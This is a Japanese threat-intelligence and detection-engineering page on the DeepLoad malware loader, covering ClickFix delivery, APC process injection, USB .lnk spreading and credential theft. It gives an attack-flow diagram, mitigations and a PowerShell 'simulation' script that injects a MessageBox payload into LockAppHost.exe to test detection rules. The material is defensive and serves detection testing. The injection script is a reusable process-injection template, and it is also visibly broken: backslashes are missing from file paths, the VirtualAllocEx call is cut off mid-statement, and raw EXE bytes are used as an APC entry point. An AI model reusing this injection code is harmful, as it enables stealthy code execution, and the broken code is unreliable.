DeepLoad マルウェア解説: ClickFix 配信と資格情報窃取
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
DeepLoadは2026年3月に初めて観測されたファイルレスマルウェアのローダーで、ユーザーに悪意のあるPowerShellコマンドを実行させる社会工学的戦術であるClickFixを介して拡散します。一度実行されると、ローダーはメモリ内でペイロードを復号し、非同期手続きを通じて信用されたWindowsプロセスに注入します。その後、 filemanager.exe という名称の資格情報窃取ツールとともに、保存されたパスワードを盗むための悪意あるブラウザー拡張機能を展開します。マルウェアはまた、多数のショートカットファイルをドロップし、USBドライブを介して別のシステムで感染チェーンを再開することによって拡散します。
調査
研究はリモートサーバーからPowerShellローダーを取得するために使用される初期コマンド、実行全体にわたる難読化技術、そしてバイナリに対するAPCベースのプロセスインジェクションを概説します。例として LockAppHost.exeがあります。また、2つの別々の資格情報盗難コンポーネントおよび一般的なソフトウェアインストーラとして偽装された .lnk ファイルを使用したUSBベースの横方向の移動手法についても説明しています。
緩和策
防御者は、信頼されていないPowerShellコマンドの実行をブロックし、疑わしいスケジュールされたタスクの作成や異常な mshta.exeの使用を監視し、PowerShellスクリプトに対して厳格な実行制御を施行すべきです。APCベースのインジェクションの検出、疑わしい .lnk ファイルをリムーバブルメディアで監視し、ブラウザ資格情報の保存を制限することが影響を軽減するのに役立ちます。インメモリの復号化とインジェクション動作を検査できるエンドポイント保護も推奨されます。
対応策
DeepLoadの活動が検出された場合、即座に影響を受けたエンドポイントを隔離し、 filemanager.exe 等の疑わしいプロセスや注入の兆候がある信用されたバイナリを終了し、マルウェアによって作成されたスケジュールされたタスクを削除してください。侵害されたアカウントの資格情報をリセットし、悪意のあるショートカットファイルについてリムーバブルメディアをスキャンし、どんな持続性メカニズムも特定するためにフォレンジック分析を行います。観察されたコマンドラインパターンと注入技術をカバーするために検出ルールも更新する必要があります。
graph TB %% クラス定義 classDef action fill:#ffcc99 classDef tool fill:#99ccff classDef file fill:#ccffcc classDef malware fill:#ff99cc classDef process fill:#ccccff classDef shortcut fill:#ffff99 classDef extension fill:#ffeb99 %% ノード action_user_execution[“<b>アクション</b> – <b>T1204.004 ユーザー実行: 悪意のあるコピー&ペースト</b><br/>被害者は偽のClickFixプロンプトから貼り付けられたPowerShellコマンドを実行する。”] class action_user_execution action tool_powershell[“<b>ツール</b> – <b>名前</b>: PowerShell<br/><b>説明</b>: ペイロードのダウンロードと実行に使用されるWindowsスクリプトエンジン。<br/><b>技術</b>: T1059.001”] class tool_powershell tool file_loader[“<b>ファイル</b> – <b>名前</b>: PowerShellローダースクリプト<br/><b>内容</b>: ダミー変数、XOR暗号化されたシェルコード、動的API解決。”] class file_loader file action_obfuscation[“<b>アクション</b> – <b>T1027 難読化されたファイルまたは情報</b><br/>ダミー変数、XOR暗号化、動的API解決を使用する。”] class action_obfuscation action action_reflective_loading[“<b>アクション</b> – <b>T1620 リフレクティブコードローディング</b><br/>シェルコードを復号し、メモリ上に直接ロードする。”] class action_reflective_loading action malware_reflective_shellcode[“<b>マルウェア</b> – <b>名前</b>: メモリ内シェルコード<br/><b>動作</b>: リフレクティブロード後に実行される。”] class malware_reflective_shellcode malware shortcut_mod[“<b>ショートカット</b> – <b>T1547.009 ショートカット改変</b><br/>40個以上の .lnk ファイルがUSBに書き込まれ、インストーラーを装っている。”] class shortcut_mod shortcut action_lnk_icon_smuggling[“<b>アクション</b> – <b>T1027.012 LNKアイコン密輸</b><br/>アイコンがショートカットファイル内に悪意のあるペイロードを埋め込む。”] class action_lnk_icon_smuggling action action_taint_shared[“<b>アクション</b> – <b>T1080 共有コンテンツ汚染</b><br/>USBショートカットはドライブ使用時に他のマシンへ拡散する。”] class action_taint_shared action process_lockapp[“<b>プロセス</b> – <b>名前</b>: LockAppHost.exe”] class process_lockapp process process_makecab[“<b>プロセス</b> – <b>名前</b>: makecab.exe”] class process_makecab process process_magnify[“<b>プロセス</b> – <b>名前</b>: Magnify.exe”] class process_magnify process action_process_injection[“<b>アクション</b> – <b>T1055 プロセスインジェクション / T1055.012 プロセスホロウイング</b><br/>ローダーはAPCを介して信頼されたプロセスへシェルコードを注入する。”] class action_process_injection action extension_browser[“<b>拡張機能</b> – <b>T1176 ソフトウェア拡張</b><br/>認証情報とCookieを取得するための悪意あるブラウザ拡張機能がインストールされる。”] class extension_browser extension file_stealer[“<b>ファイル</b> – <b>名前</b>: filemanager.exe<br/><b>技術</b>: ブラウザおよびパスワードマネージャーからの認証情報ダンプ。”] class file_stealer file action_cred_browser[“<b>アクション</b> – <b>T1555.003 Webブラウザからの認証情報</b><br/>保存されたパスワードを抽出する。”] class action_cred_browser action action_cred_manager[“<b>アクション</b> – <b>T1555.005 パスワードマネージャーからの認証情報</b><br/>保存されたパスワードを抽出する。”] class action_cred_manager action action_cookie_steal[“<b>アクション</b> – <b>T1539 Webセッションクッキー窃取 / T1185 ブラウザセッションハイジャック</b><br/>拡張機能を通じてセッションクッキーを取得する。”] class action_cookie_steal action %% 接続 action_user_execution –>|実行| tool_powershell tool_powershell –>|実行| file_loader file_loader –>|含む| action_obfuscation action_obfuscation –>|有効化| action_reflective_loading action_reflective_loading –>|ロード| malware_reflective_shellcode malware_reflective_shellcode –>|注入| action_process_injection action_process_injection –>|対象| process_lockapp action_process_injection –>|対象| process_makecab action_process_injection –>|対象| process_magnify action_user_execution –>|作成| shortcut_mod shortcut_mod –>|使用| action_lnk_icon_smuggling shortcut_mod –>|拡散| action_taint_shared file_stealer –>|インストール| extension_browser file_stealer –>|抽出| action_cred_browser file_stealer –>|抽出| action_cred_manager extension_browser –>|取得| action_cred_browser extension_browser –>|取得| action_cred_manager extension_browser –>|窃取| action_cookie_steal
攻撃フロー
シミュレーション実行
前提条件: テレメトリ & ベースラインの事前チェックが通過している必要があります。
根拠: このセクションでは、観測されたTTP(戦術、技術、手続き)に基づく特定の検出ルールをトリガーするために設計された正確な実行を詳細に説明します。コマンドと説明は、特定されたTTPに直接基づいており、検出ロジックによる予期される正確なテレメトリを生成することを目的としています。
-
攻撃の物語 & コマンド:
攻撃者はログインユーザーのコンテキストで実行される悪意あるPowerShellスクリプト(「ローダー」)を配信しました(ユーザー実行 – T1204)。ローダーは以下の手順を実行します。
- ペイロードの配置 – コンパイルされたCバイナリ(「ペイロード」)を
%TEMP%. - に書き込む (
LockAppHost.exeを使用してCreateProcessAを実行し、CREATE_SUSPENDEDフラグを付けて - ペイロードを注入する 中断されたプロセス内にバイナリをコピーするために
WriteProcessMemoryを呼び出すことにより注入する。 - APCをキューに登録する (
QueueUserAPCを呼び出し、ペイロードのエントリーポイントを指すことで、ターゲットスレッドが再開するとペイロードを実行します。 - スレッドを再開することで注入を完了します。
この正確なシーケンスが1つの プロセス作成 イベントを生成し、
LockAppHost.exeのSysmonのCallTraceフィールドには3つの注入に関連するAPI呼び出しが含まれており、Sigmaルールを満たしています。 - ペイロードの配置 – コンパイルされたCバイナリ(「ペイロード」)を
-
回帰テストスクリプト:
# DeepLoad APCベースのインジェクションシミュレーション(PowerShell + C# in-memoryコンパイル) # -------------------------------------------------------------- # 1. 最小限のCペイロード(MessageBox)を一時的なEXEにコンパイル $payloadSource = @" #include <windows.h> int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow) { MessageBoxA(NULL, "Injected by DeepLoad", "Success", MB_OK); return 0; } "@ $tempDir = "$env:TEMPDeepLoadDemo" New-Item -ItemType Directory -Force -Path $tempDir | Out-Null $cFile = "$tempDirpayload.c" $exeFile = "$tempDirpayload.exe" $payloadSource | Set-Content -Path $cFile -Encoding ASCII # 利用可能な場合はVisual C++コンパイラを使用。利用不可の場合はPowerShellのAdd-Typeをフォールバックとして使用 if (Get-Command cl.exe -ErrorAction SilentlyContinue) { & cl.exe /nologo /O2 /MT $cFile /link /OUT:$exeFile } else { Write-Error "Cコンパイラが見つかりません – 手動コンパイルが必要です。" exit 1 } # 2. インジェクションの準備をする $targetPath = "C:WindowsSystem32LockAppHost.exe" $STARTUPINFO = New-Object System.Diagnostics.ProcessStartInfo $STARTUPINFO.FileName = $targetPath $STARTUPINFO.Arguments = "" $STARTUPINFO.RedirectStandardOutput = $false $STARTUPINFO.UseShellExecute = $false $proc = New-Object System.Diagnostics.Process $proc.StartInfo = $STARTUPINFO $proc.StartInfo.CreateNoWindow = $true $proc.StartInfo.Verb = "runas" # 必要に応じて昇格を保証 # 中断されたプロセスを作成 $pInfo = New-Object System.Diagnostics.ProcessStartInfo $pInfo.FileName = $targetPath $pInfo.Arguments = "" $pInfo.UseShellExecute = $false $pInfo.CreateNoWindow = $true $procStartInfo = [System.Diagnostics.ProcessStartInfo]::new() $procStartInfo.FileName = $targetPath $procStartInfo.Arguments = "" $procStartInfo.UseShellExecute = $false $procStartInfo.CreateNoWindow = $true # P/Invoke定義 $sig = @" using System; using System.Runtime.InteropServices; public class Native { [DllImport("kernel32.dll", SetLastError=true)] public static extern bool CreateProcessA( string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll", SetLastError=true)] public static extern uint QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, UIntPtr dwData); [DllImport("kernel32.dll", SetLastError=true)] public static extern uint ResumeThread(IntPtr hThread); public const uint CREATE_SUSPENDED = 0x00000004; public const uint MEM_COMMIT = 0x1000; public const uint PAGE_EXECUTE_READWRITE = 0x40; [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)] public struct STARTUPINFO { public uint cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public ushort wShowWindow; public ushort cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } } "@ Add-Type $sig # 構造体を初期化 $si = New-Object Native+STARTUPINFO $pi = New-Object Native+PROCESS_INFORMATION $si.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($si) # 中断されたLockAppHost作成 $created = [Native]::CreateProcessA($null, $targetPath, [IntPtr]::Zero, [IntPtr]::Zero, $false, [Native]::CREATE_SUSPENDED, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi) if (-not $created) { Write-Error "CreateProcessAが失敗しました: $([System.Runtime.InteropServices.Marshal]::GetLastWin32Error())" exit 1 } # ペイロードバイナリを読み込む $payloadBytes = [System.IO.File]::ReadAllBytes($exeFile) # ターゲットにメモリを割り当てる $remoteAddr = [Native]::VirtualAllocEx($pi.hProcess, [IntPtr]::Zero, $payloadBytes.Length, if ($remoteAddr -eq [IntPtr]::Zero) { Write-Error "VirtualAllocExが失敗しました。" exit 1 } # ペイロードを書く $bytesWritten = [UIntPtr]::Zero $writeOk = [Native]::WriteProcessMemory($pi.hProcess, $remoteAddr, $payloadBytes, $payloadBytes.Length, [ref]$bytesWritten) if (-not $writeOk) { Write-Error "WriteProcessMemoryが失敗しました。" exit 1 } # APCをキューに登録(ペイロードのエントリーポイントを指す) $apcResult = [Native]::QueueUserAPC($remoteAddr, $pi.hThread, [UIntPtr]::Zero) # スレッドを再開してAPCを実行 [Native]::ResumeThread($pi.hThread) | Out-Null Write-Host "注入が完了しました - ペイロードは間もなく表示されるはずです。" -
クリーンアップコマンド:
# 注入されたLockAppHostインスタンスを終了(まだ実行中の場合) Get-Process -Name "LockAppHost" -ErrorAction SilentlyContinue | Stop-Process -Force # 一時ファイルを削除 Remove-Item -Recurse -Force "$env:TEMPDeepLoadDemo"
検証結果(実行後に記入)
- ルールが発火したか: はい / いいえ
- 生成されたアラートの数: ___
- 誤検出チェック: 無害な実行ではアラートが生成されませんでした(確認クエリで確認済み)。
推奨事項の概要
- イベント間の相関関係をつける – 短時間内に発生する
WriteProcessMemoryorQueueUserAPCイベントを監視するための2つ目のルールを追加LockAppHost.exe作成。 - 画像スコープの拡大 – 一般的にAPCインジェクションに悪用される他の信用バイナリ(例えば、
svchost.exe,explorer.exe). - 行動の充実 – 注入後に
%TEMP%から実行された署名されていないDLLをロードするプロセスにフラグを立てる。 - 回避策の軽減 – 現在は単一イベント条件を迂回するため、複数プロセスにわたって分割された同じAPI呼び出しを監視。